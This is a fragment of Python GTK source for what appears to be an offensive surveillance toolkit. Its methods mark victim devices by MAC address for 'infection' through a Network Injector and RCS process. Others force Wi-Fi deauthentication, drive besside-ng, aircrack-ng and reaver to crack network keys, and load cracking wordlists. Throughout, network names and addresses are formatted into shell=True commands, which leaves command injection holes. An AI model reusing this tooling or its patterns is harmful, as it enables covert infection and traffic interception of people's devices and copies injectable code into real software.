    def changeselection(self, *args):
        if self.clearselect == False:
	    if self.started == False:
		return

	    model, rows = self.builder.get_object("treeview-selection1").get_selected_rows()

	    if len(rows) != 0:
		self.deinfect_status = True 
		for row in rows:
		    iter = model.get_iter(row)
		    mac = model.get_value(iter, 1)

		    try:
			ret = subprocess.check_output("grep -i '{}' /opt/td-config/run/rcs/match".format(mac), shell=True).strip()
			if len(ret) != 0:
			    pass
			else:
			    self.deinfect_status = False
                            break
		    except:
			self.deinfect_status = False
                        break	

	        if self.deinfect_status == True:
		    self.builder.get_object("button3").set_label('Reauth selected')
		    for line in open("/opt/td-config/share/redirect_tactical.txt").readlines():
                        line = line[0:len(line) - 1]
                        if line == 'ALL' or line == 'All' or line == 'all':
                            self.builder.get_object("button5").set_label('Clear all')
                        else:
                            self.builder.get_object("button5").set_label('Clear')
                        break
	        else:
                    self.builder.get_object("button3").set_label('Reauth selected')
                    self.builder.get_object("button5").set_label('Infect selected')
        else:
            self.builder.get_object("button3").set_label('Reauth all')
            self.builder.get_object("button5").set_label('Infect all')

    def changeselection2(self, *args):
	if self.clearselect == False:
            model, rows = self.builder.get_object("treeview-selection1").get_selected_rows()

            if len(rows) == 0:
		self.builder.get_object("button3").set_label('Reauth all')
            	self.builder.get_object("button5").set_label('Infect all')
	    else:
		self.deinfect_status = True
                for row in rows:
                    iter = model.get_iter(row)
                    mac = model.get_value(iter, 1)

                    try:
                        ret = subprocess.check_output("grep -i '{}' /opt/td-config/run/rcs/match".format(mac), shell=True).strip()
                        if len(ret) != 0:
                            pass
                        else:
                            self.deinfect_status = False
                            break
                    except:
                        self.deinfect_status = False
                        break

                if self.deinfect_status == True:
                    self.builder.get_object("button3").set_label('Reauth selected')
		    for line in open("/opt/td-config/share/redirect_tactical.txt").readlines():
                        line = line[0:len(line) - 1]
                        if line == 'ALL' or line == 'All' or line == 'all':
                            self.builder.get_object("button5").set_label('Clear all')
                        else:
                            self.builder.get_object("button5").set_label('Clear')
                        break
                else:
                    self.builder.get_object("button3").set_label('Reauth selected')
                    self.builder.get_object("button5").set_label('Infect selected')

    def deauth(self, *args):
	fdeauth = None

	if os.path.exists('/opt/td-config/run/besside/fdeauth') == True:
	    subprocess.call('cp /opt/td-config/run/besside/fdeauth /opt/td-config/run/besside/fdeauth.tmp', shell=True)
            fdeauth = open('/opt/td-config/run/besside/fdeauth.tmp', 'a')
	else:
	    fdeauth = open('/opt/td-config/run/besside/fdeauth.tmp', 'w')

        model, rows = self.builder.get_object("treeview-selection1").get_selected_rows()
        if len(rows) == 0:
	   self.reauth_status = True
           fdeauth.write('ALL\n')
	   f1 = open('/opt/td-config/run/besside/match', 'a')
           for row in self.builder.get_object("liststore1"):
               f1.write('{}\n'.format(row[1:2]))
           f1.close()
	   subprocess.call('echo "{} Reauthentication of all targets on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
        else:
	   self.reauth_status = False
	   strtar = ""
           for row in rows:
              iter = model.get_iter(row)
              fdeauth.write('{}\n'.format(model.get_value(iter, 1)))
	      f1 = open('/opt/td-config/run/besside/match', 'a')
              f1.write('{}\n'.format(model.get_value(iter, 1)))
              f1.close()
	      strtar = strtar + ' ' + model.get_value(iter, 1)

	   subprocess.call('echo "{} Reauthentication of these targets:{} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), strtar), shell=True)

        fdeauth.close()
        os.rename('/opt/td-config/run/besside/fdeauth.tmp', '/opt/td-config/run/besside/fdeauth')
	self.clearselect = True
	self.changeselection()
	subprocess.call("echo 'UPDATE' > /opt/td-config/run/rcs/state 2> /dev/null", shell=True)

    def deauthplus(self):
        fdeauth = None

        if os.path.exists('/opt/td-config/run/besside/fdeauth') == True:
            subprocess.call('cp /opt/td-config/run/besside/fdeauth /opt/td-config/run/besside/fdeauth.tmp', shell=True)
            fdeauth = open('/opt/td-config/run/besside/fdeauth.tmp', 'a')
        else:
            fdeauth = open('/opt/td-config/run/besside/fdeauth.tmp', 'w')

	model, rows = self.builder.get_object("treeview-selection1").get_selected_rows()
        if len(rows) == 0:
           self.reauth_status = True
           fdeauth.write('ALL\n')
           f1 = open('/opt/td-config/run/besside/match', 'a')
           for row in self.builder.get_object("liststore1"):
               f1.write('{}\n'.format(row[1:2]))
           f1.close()
           subprocess.call('echo "{} Auto reauthentication of all targets on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
        else:
           self.reauth_status = False
           strtar = ""
           for row in rows:
              iter = model.get_iter(row)
              fdeauth.write('{}\n'.format(model.get_value(iter, 1)))
              f1 = open('/opt/td-config/run/besside/match', 'a')
              f1.write('{}\n'.format(model.get_value(iter, 1)))
              f1.close()
              strtar = strtar + ' ' + model.get_value(iter, 1)

           subprocess.call('echo "{} Auto reauthentication of these targets:{} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), strtar), shell=True)

        fdeauth.close()
        os.rename('/opt/td-config/run/besside/fdeauth.tmp', '/opt/td-config/run/besside/fdeauth')
	subprocess.call("echo 'UPDATE' > /opt/td-config/run/rcs/state 2> /dev/null", shell=True)

    def infect(self, *args):
	model, rows = self.builder.get_object("treeview-selection1").get_selected_rows()

	if self.deinfect_status == True and len(rows) != 0:
	    self.deinfect()
	    return

	if self.wpa == True:
	    self.deauthplus()

	subprocess.call('rm /opt/td-config/share/redirect_tactical.txt 2> /dev/null', shell=True)

        finfect = open('/opt/td-config/share/redirect_tactical.tmp', 'w')

        if len(rows) == 0:
	   self.infect_status = True
           finfect.write('ALL\n')
	   f1 = open('/opt/td-config/run/rcs/match', 'a')
	   for row in self.builder.get_object("liststore1"):
	       f1.write('{}\n'.format(row[1:2]))
	   f1.close()
	   subprocess.call('echo "{} Infection of all targets on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
        else:
	   self.infect_status = False
	   subprocess.call('rm /opt/td-config/run/rcs/match 2> /dev/null', shell=True)
	   strtar = ""
           for row in rows:
              iter = model.get_iter(row)
              finfect.write('{}\n'.format(model.get_value(iter, 1)))
	      f1 = open('/opt/td-config/run/rcs/match', 'a')
	      f1.write('{}\n'.format(model.get_value(iter, 1)))
	      f1.close()
	      strtar = strtar + ' ' + model.get_value(iter, 1)

	   subprocess.call('echo "{} Infection of these targets:{} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), strtar), shell=True)

	finfect.close()
        os.rename('/opt/td-config/share/redirect_tactical.tmp', '/opt/td-config/share/redirect_tactical.txt')
        subprocess.call('ulimit -c 10000000; kill -1 {} 2> /dev/null'.format(self.RCS_pid), shell=True)
	self.clearselect = True
	self.changeselection()
	subprocess.call("echo 'UPDATE' > /opt/td-config/run/rcs/state 2> /dev/null", shell=True)

    def deinfect(self):
	if self.infect_status == True:
	    self.infect_status = False

	model, rows = self.builder.get_object("treeview-selection1").get_selected_rows()

	finfect = open('/opt/td-config/share/redirect_tactical.tmp', 'w')
	fmatch = open('/opt/td-config/run/rcs/match.tmp', 'w')

	strtar = ""

	for line in open("/opt/td-config/share/redirect_tactical.txt").readlines():
	    line = line[0:len(line) - 1]
	    if line == 'ALL' or line == 'All' or line == 'all':
		break

	    stat = 0
	    for row in rows:
		iter = model.get_iter(row)
		if line == model.get_value(iter, 1):
		    strtar = strtar + ' ' + line
		    stat = 1
		    break
	
	    if stat == 0:	
	        finfect.write('{}\n'.format(line))
	        fmatch.write('{}\n'.format(line))

	finfect.close()
	fmatch.close()

	os.rename('/opt/td-config/share/redirect_tactical.tmp', '/opt/td-config/share/redirect_tactical.txt')
	os.rename('/opt/td-config/run/rcs/match.tmp', '/opt/td-config/run/rcs/match')

	if strtar == "":
	    subprocess.call('echo "{} Clear infection of all targets on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
	else:
	    subprocess.call('echo "{} Clear infection of these targets:{} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), strtar), shell=True)
	subprocess.call('ulimit -c 10000000; kill -1 {} 2> /dev/null'.format(self.RCS_pid), shell=True)
        self.clearselect = True
        self.changeselection()
	subprocess.call("echo 'UPDATE' > /opt/td-config/run/rcs/state 2> /dev/null", shell=True)

    def showurls(self, widget, index, *args):
        model = widget.get_model()
        iter = model.get_iter(index)
        mac = model.get_value(iter, 1)
        name = model.get_value(iter, 4)
        if len(name) > 0:
           subprocess.call('/opt/td-config/scripts/links_gui.py -m "{}" -H "{}" &'.format(mac, name), shell=True)
	   subprocess.call('echo "{} Show URL of {} {} target on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac, name), shell=True)	
        else:
           subprocess.call('/opt/td-config/scripts/links_gui.py -m "{}" &'.format(mac, name), shell=True)
	   subprocess.call('echo "{} Show URL of {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), mac), shell=True)

    def networkrules(self, *args):
        if self.started_newconf == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return

        subprocess.call('/opt/td-config/scripts/rules_gui.py &', shell=True)
        subprocess.call('echo "{} Show Network rules of Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

    def testlinkniwifi(self, *args):
        if self.started_newconf == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
	elif self.wi_running == True or self.status == 'started':
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Wireless Intruder is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif (self.fa_running == True or self.fakeap_started == True) and self.wirelessiface != self.ifacelist[self.builder.get_object("comboboxtext1").get_active_text().split()[0]]['dev']:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Fake Access Point is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
	elif self.py_running == True or self.started_firewire == True:
	    self.dialog14 = self.builder.get_object("messagedialog14")
	    msgdia = 'Physical Unlock is running...\nPlease finish with his operations or stop it first.'
	    self.dialog14.format_secondary_text(msgdia)
	    self.response14 = self.dialog14.run()
	    if self.response14 == Gtk.ResponseType.OK:
		self.dialog14.hide()
		return

	if string.find(self.builder.get_object("comboboxtext1").get_active_text(), "(Fake Access Point)") == -1:
	    conn = self.ifacelist[self.builder.get_object("comboboxtext1").get_active_text().split()[0]]
	    niface = None
	    miface = None
	    mdeviface = None
	    siface = None

	    niface = self.builder.get_object("comboboxtext1").get_active_text().split()[0]

	    if string.find(self.builder.get_object("comboboxtext1").get_active_text(), "3G modem") != -1:
		miface = self.modem3gconf['profile'] 
		mdeviface = self.modem3gconf['dev']
	    else:
		miface = 'no'
		mdeviface = 'no'

            if self.builder.get_object("comboboxtext2").get_active_text() == "Use the same interface":
		siface = conn['dev']		
	    else:
		siface = self.builder.get_object("comboboxtext2").get_active_text().split()[0]

	    if self.ifacelist[self.builder.get_object("comboboxtext1").get_active_text().split()[0]]['type'] == 'wireless':
  	        subprocess.call("/opt/td-config/scripts/link_test_niwifi.py -l '{}' -q '{}' -o '{}' -m '{}' -p '{}' -i '{}' -c '{}' -e '{}' -b '{}' &".format(str(self.netsig), str(self.snisig), niface, mdeviface, miface, siface, conn['conninfo']['chan'], conn['conninfo']['essid'], conn['conninfo']['bssid'].upper()), shell=True)
	  
	        if miface != 'no':
		    if self.builder.get_object("comboboxtext2").get_active_text() == "Use the same interface":
	                subprocess.call('echo "{} Test link of {} network interface with signal {} with 3G modem on {} and {} sniffing interface with signal {} on {} {} network on {} channel on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), niface, str(self.netsig), miface, siface, str(self.netsig), conn['conninfo']['essid'], conn['conninfo']['bssid'].upper(), conn['conninfo']['chan']), shell=True)
		    else:
			subprocess.call('echo "{} Test link of {} network interface with signal {} with 3G modem on {} and {} sniffing interface with signal {} on {} {} network on {} channel on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), niface, str(self.netsig), miface, siface, str(self.snisig), conn['conninfo']['essid'], conn['conninfo']['bssid'].upper(), conn['conninfo']['chan']), shell=True)
	        else:
		    if self.builder.get_object("comboboxtext2").get_active_text() == "Use the same interface":
                        subprocess.call('echo "{} Test link of {} network interface with signal {} and {} sniffing interface with signal {} on {} {} network on {} channel on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), niface, str(self.netsig), siface, str(self.netsig), conn['conninfo']['essid'], conn['conninfo']['bssid'].upper(), conn['conninfo']['chan']), shell=True)
		    else:
			subprocess.call('echo "{} Test link of {} network interface with signal {} and {} sniffing interface with signal {} on {} {} network on {} channel on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), niface, str(self.netsig), siface, str(self.snisig), conn['conninfo']['essid'], conn['conninfo']['bssid'].upper(), conn['conninfo']['chan']), shell=True)
	    else:
	        subprocess.call("/opt/td-config/scripts/link_test_niwifieth.py -o '{}' -m '{}' -p '{}' -i '{}' &".format(niface, mdeviface, miface, siface), shell=True)

	        if miface != 'no':
                    subprocess.call('echo "{} Test link of {} network interface with 3G modem on {} {} and {} sniffing interface on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), niface, mdeviface, miface, siface), shell=True)
                else:
                    subprocess.call('echo "{} Test link of {} network interface and {} sniffing interface on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), niface, siface), shell=True)
        else:
	    sinterface = self.builder.get_object("comboboxtext1").get_active_text().split()[0]

            minterface = None
            mipinterface = None

	    if string.find(self.builder.get_object("comboboxtext1").get_active_text(), "3G modem") != -1:
                minterface = self.internetiface 
		mipinterface = None

		try:
                    mipinterface = subprocess.check_output("LANG=en_US.utf8 nmcli -t -f IP4 dev list iface '{}' | grep -i IP4.ADDRESS | awk '{{print $3}}' | sed -e 's/\/.*//g'".format(self.modem3gconf['dev']), shell=True)
		    mipinterface = mipinterface[0:len(mipinterface) - 1]
                except:
                    mipinterface = None
                    pass
            else:
                minterface = self.internetiface
                mipinterface = 'no'

            subprocess.call("/opt/td-config/scripts/link_test_nifap.py -i '{}' -m '{}' -p '{}' &".format(sinterface, minterface, mipinterface), shell=True)

            if mipinterface != 'no':
                subprocess.call('echo "{} Test link of {} network and sniffing interface with routing on 3G modem on {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), sinterface, minterface), shell=True)
            else:
                subprocess.call('echo "{} Test link of {} network and sniffing interface with routing on {} interface on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), sinterface, minterface), shell=True)

	return

    def testlinknieth(self, *args):
	niface = None
	siface = None
	nipiface = None

        if self.started_newconf == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return

	niface = self.builder.get_object("comboboxtext8").get_active_text().split()[0]

	if self.builder.get_object("comboboxtext9").get_active_text() == "Use the same interface":
                siface = niface 
        else:
                siface = self.builder.get_object("comboboxtext9").get_active_text().split()[0]

	retip = None

	if len(self.builder.get_object("entry3").get_text()) == 0 or self.builder.get_object("entry3").get_text() == None or self.builder.get_object("entry3").get_text() == 'auto':
	    try:
                retip = subprocess.check_output("LANG=en_US.utf8 nmcli -t -f IP4 dev list iface '{}' | grep -i IP4.ADDRESS | awk '{{print $3}}' | sed -e 's/\/.*//g'".format(niface), shell=True)
                if len(retip) == 0:
		    retip = None
		else:
		    retip = retip[:-1]
	    except:
	        retip = None
	else:
                retip = self.builder.get_object("entry3").get_text()

	if retip == None:
	    nipiface = 'no'
	else:
	    nipiface = retip

	subprocess.call("/opt/td-config/scripts/link_test_nieth.py -o '{}' -p '{}' -i '{}' &".format(niface, nipiface, siface), shell=True)

	if nipiface != 'no':
	    subprocess.call('echo "{} Test link of {} network interface with {} public IP and {} sniffing interface on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), niface, nipiface, siface), shell=True)
	else:
	    subprocess.call('echo "{} Test link of {} network interface and {} sniffing interface on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), niface, siface), shell=True)

	return 

    def testlinkwi(self, *args):
        if self.started_newconf == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif (self.ni_running == True or self.started == True) and (self.fa_running == True or self.fakeap_started == True):
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Network Injector and Fake Access Point are running...\nPlease finish with their operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif self.ni_running == True or self.started == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif self.fa_running == True or self.fakeap_started == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Fake Access Point is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
	elif self.py_running == True or self.started_firewire == True:
	    self.dialog14 = self.builder.get_object("messagedialog14")
	    msgdia = 'Physical Unlock is running...\nPlease finish with his operations or stop it first.'
	    self.dialog14.format_secondary_text(msgdia)
	    self.response14 = self.dialog14.run()
	    if self.response14 == Gtk.ResponseType.OK:
	    	self.dialog14.hide()
		return
	
	try:
	    i = self.interfaces[self.icombo.get_active()]
            n = self.networks[self.ncombo.get_active()]

	    subprocess.call("/opt/td-config/scripts/link_test_wi.py -l '{}' -i '{}' -c '{}' -e '{}' -b '{}' &".format(str(self.wirsig), i['dev'], n['chan'], n['essid'], n['bssid'].upper()), shell=True)
	    subprocess.call('echo "{} Test link of {} wireless interface with {} signal on {} {} network on {} channel on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), i['dev'], str(self.wirsig), n['essid'], n['bssid'].upper(), n['chan']), shell=True)
	except:
	    pass

	return

    def testlinkfap(self, *args):
        if self.started_newconf == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif self.ni_running == True or self.started == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif self.wi_running == True or self.status == 'started':
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Wireless Intruder is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
	elif self.py_running == True or self.started_firewire == True:
	    self.dialog14 = self.builder.get_object("messagedialog14")
	    msgdia = 'Physical Unlock is running...\nPlease finish with his operations or stop it first.'
	    self.dialog14.format_secondary_text(msgdia)
	    self.response14 = self.dialog14.run()
	    if self.response14 == Gtk.ResponseType.OK:
		self.dialog14.hide()
		return
	
	sinterface = self.builder.get_object("comboboxtext7").get_active_text().split()[0]

	self.internetifaceip()

        minterface = None
        mipinterface = None

	if self.internetiface == 'usb0' or self.internetiface == 'ppp0' or self.internetiface == 'ttyUSB0' or self.internetiface == 'ttyUSB1' or self.internetiface == 'ttyUSB2':
            minterface = self.internetiface

            mipinterface = None

            try:
                mipinterface = subprocess.check_output("LANG=en_US.utf8 nmcli -t -f IP4 dev list iface '{}' | grep -i IP4.ADDRESS | awk '{{print $3}}' | sed -e 's/\/.*//g'".format(minterface), shell=True)
                mipinterface = mipinterface[0:len(mipinterface) - 1]            
            except:
                mipinterface = None
                pass
	else:
            minterface = self.internetiface 
            mipinterface = 'no'

	subprocess.call("/opt/td-config/scripts/link_test_fap.py -i '{}' -m '{}' -p '{}' &".format(sinterface, minterface, mipinterface), shell=True)

	if mipinterface != 'no':
            subprocess.call('echo "{} Test link of {} wireless interface with routing on 3G modem on {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), sinterface, minterface), shell=True)
	else:
	    subprocess.call('echo "{} Test link of {} wireless interface with routing on {} interface on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), sinterface, minterface), shell=True)

        return

    def wordlist_load(self, *args):
        if self.started_newconf == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif (self.ni_running == True or self.started == True) and (self.fa_running == True or self.fakeap_started == True):
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Network Injector and Fake Access Point are running...\nPlease finish with their operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif self.ni_running == True or self.started == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif self.fa_running == True or self.fakeap_started == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Fake Access Point is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif self.py_running == True or self.started_firewire == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Physical Unlock is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return

	dialog = Gtk.FileChooserDialog("Please choose a wordlist file", self.window, Gtk.FileChooserAction.OPEN, (Gtk.STOCK_CANCEL, Gtk.ResponseType.CANCEL, Gtk.STOCK_OPEN, Gtk.ResponseType.OK)) 
	response = dialog.run()

	if response == Gtk.ResponseType.OK:
	    self.wordlist_path_orig = dialog.get_filename()

	    self.wordlist_path = pipes.quote(self.wordlist_path_orig)
            if self.wordlist_path[0] == "'" and self.wordlist_path[-1] == "'":
                self.wordlist_path = self.wordlist_path[1:-1]
	elif response == Gtk.ResponseType.CANCEL:
	    pass

	self.do_gui(dialog.hide)

	try:
	    if subprocess.check_output("cat '{}' | wc -l".format(self.wordlist_path), shell=True)[:-1] == '0':
	        self.dialog20 = self.builder.get_object("messagedialog20")
                msgdia = 'The wordlist: ' + self.wordlist_path_orig + '\nis empty. Please choose an other wordlist.'
                self.dialog20.format_secondary_text(msgdia)
                self.response20 = self.dialog20.run()
                if self.response20 == Gtk.ResponseType.CLOSE:
                    self.dialog20.hide()
                    return
	except:
	    self.dialog20 = self.builder.get_object("messagedialog20")
            msgdia = 'The wordlist: ' + self.wordlist_path_orig + '\nis empty. Please choose an other wordlist.'
            self.dialog20.format_secondary_text(msgdia)
            self.response20 = self.dialog20.run()
            if self.response20 == Gtk.ResponseType.CLOSE:
                self.dialog20.hide()
                return

    def attack(self):
	subprocess.call('killall -SIGKILL iw 2> /dev/null', shell=True)
	subprocess.call('killall -SIGKILL besside-ng 2> /dev/null', shell=True)
	subprocess.call('killall -SIGKILL aircrack-ng 2> /dev/null', shell=True)
	subprocess.call('killall -SIGKILL reaver 2> /dev/null', shell=True)

    	i = self.interfaces[self.icombo.get_active()]
	self.wirelessiface2 = i
    	n = self.networks[self.ncombo.get_active()]

	snifcard = self.builder.get_object("comboboxtext3").get_active_text().split()[0]
        snifmac = subprocess.check_output("LANG=en_US.utf8 nmcli -t -f GENERAL dev list iface '{}' | grep -i HWADDR | sed -e 's/GENERAL.HWADDR://g'".format(snifcard), shell=True)
        snifmac = snifmac.lower()
        subprocess.call("cp /etc/NetworkManager/NetworkManager.conf /opt/td-config/run/", shell=True)
        disablesnif = "\n[keyfile]\nunmanaged-devices=mac:" + snifmac
        subprocess.call("echo '{}' >> /etc/NetworkManager/NetworkManager.conf".format(disablesnif), shell=True)
        subprocess.call("killall -1 NetworkManager", shell=True)
	self.disable_snifcard = snifcard
	time.sleep(1)

	subprocess.call("iwconfig '{}' txpower auto 2> /dev/null".format(i['dev']), shell=True)
        subprocess.call("iwconfig '{}' power off 2> /dev/null".format(i['dev']), shell=True)
	subprocess.call("iw dev '{}' set power_save off 2> /dev/null".format(i['dev']), shell=True)

    	if not os.path.isdir('/opt/td-config/run/besside'): os.makedirs('/opt/td-config/run/besside')
	if os.path.isfile('/opt/td-config/run/besside/crappy'): os.remove('/opt/td-config/run/besside/crappy')
	if os.path.isfile('/opt/td-config/run/besside/attacking'): os.remove('/opt/td-config/run/besside/attacking')
	if os.path.isfile('/opt/td-config/run/besside/nohandshake'): os.remove('/opt/td-config/run/besside/nohandshake')
	if os.path.isfile('/opt/td-config/run/besside/keys.tmp'): os.remove('/opt/td-config/run/besside/keys.tmp')
	if os.path.isfile('/opt/td-config/run/besside/keys'): os.remove('/opt/td-config/run/besside/keys')
	if os.path.isfile('/opt/td-config/run/besside/nopass'): os.remove('/opt/td-config/run/besside/nopass')
	if os.path.isfile('/opt/td-config/run/besside/ivs'): os.remove('/opt/td-config/run/besside/ivs')
    	if os.path.isfile('/opt/td-config/run/besside/key'): os.remove('/opt/td-config/run/besside/key')
    	if os.path.isfile('/opt/td-config/run/besside/besside.log'): os.remove('/opt/td-config/run/besside/besside.log')
    	if os.path.isfile('/opt/td-config/run/besside/wep.cap'): os.remove('/opt/td-config/run/besside/wep.cap')
    	if os.path.isfile('/opt/td-config/run/besside/wpa.cap'): os.remove('/opt/td-config/run/besside/wpa.cap')
	if os.path.isfile('/opt/td-config/run/besside/blacklist'): os.remove('/opt/td-config/run/besside/blacklist')
	if os.path.isfile('/opt/td-config/run/besside/lock'): os.remove('/opt/td-config/run/besside/lock')
	if os.path.isfile('/opt/td-config/run/besside/pin'): os.remove('/opt/td-config/run/besside/pin')
	if os.path.isfile('/opt/td-config/run/besside/perc'): os.remove('/opt/td-config/run/besside/perc')
	time.sleep(1)
    	self.do_gui(self.label.set_text, '')
	time.sleep(1)

	if string.find(i['dev'], "wlan0") != -1:
            self.do_gui(self.text.set_text, ('Starting {}\n\nInterface is {} (Internal 802.11 WiFi device)\nTarget channel network is {}\nTarget ESSID network is {}\nTarget BSSID network is {}\n').format(self.attacks[self.acombo.get_active()][1], i['dev'], str(n['chan']), n['essid'], n['bssid'])) 
	else:
    	    self.do_gui(self.text.set_text, ('Starting {}\n\nInterface is {} (External 802.11 WiFi device)\nTarget channel network is {}\nTarget ESSID network is {}\nTarget BSSID network is {}\n').format(self.attacks[self.acombo.get_active()][1], i['dev'], str(n['chan']), n['essid'], n['bssid']))
	subprocess.call('echo "{} Starting Wireless Intruder on {} {} network on {} network interface..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), n['essid'], n['bssid'], i['dev']), shell=True)
    	self.attacks[self.acombo.get_active()][3](i, n)
	time.sleep(1)

	while self.attackerror == True:
	    self.attackerror = False
	    if not os.path.isdir('/opt/td-config/run/besside'): os.makedirs('/opt/td-config/run/besside')
            if os.path.isfile('/opt/td-config/run/besside/crappy'): os.remove('/opt/td-config/run/besside/crappy')
            if os.path.isfile('/opt/td-config/run/besside/attacking'): os.remove('/opt/td-config/run/besside/attacking')
	    if os.path.isfile('/opt/td-config/run/besside/nohandshake'): os.remove('/opt/td-config/run/besside/nohandshake')
	    if os.path.isfile('/opt/td-config/run/besside/keys.tmp'): os.remove('/opt/td-config/run/besside/keys.tmp')
	    if os.path.isfile('/opt/td-config/run/besside/keys'): os.remove('/opt/td-config/run/besside/keys')
	    if os.path.isfile('/opt/td-config/run/besside/nopass'): os.remove('/opt/td-config/run/besside/nopass')
	    if os.path.isfile('/opt/td-config/run/besside/ivs'): os.remove('/opt/td-config/run/besside/ivs')
            if os.path.isfile('/opt/td-config/run/besside/key'): os.remove('/opt/td-config/run/besside/key')
            if os.path.isfile('/opt/td-config/run/besside/besside.log'): os.remove('/opt/td-config/run/besside/besside.log')
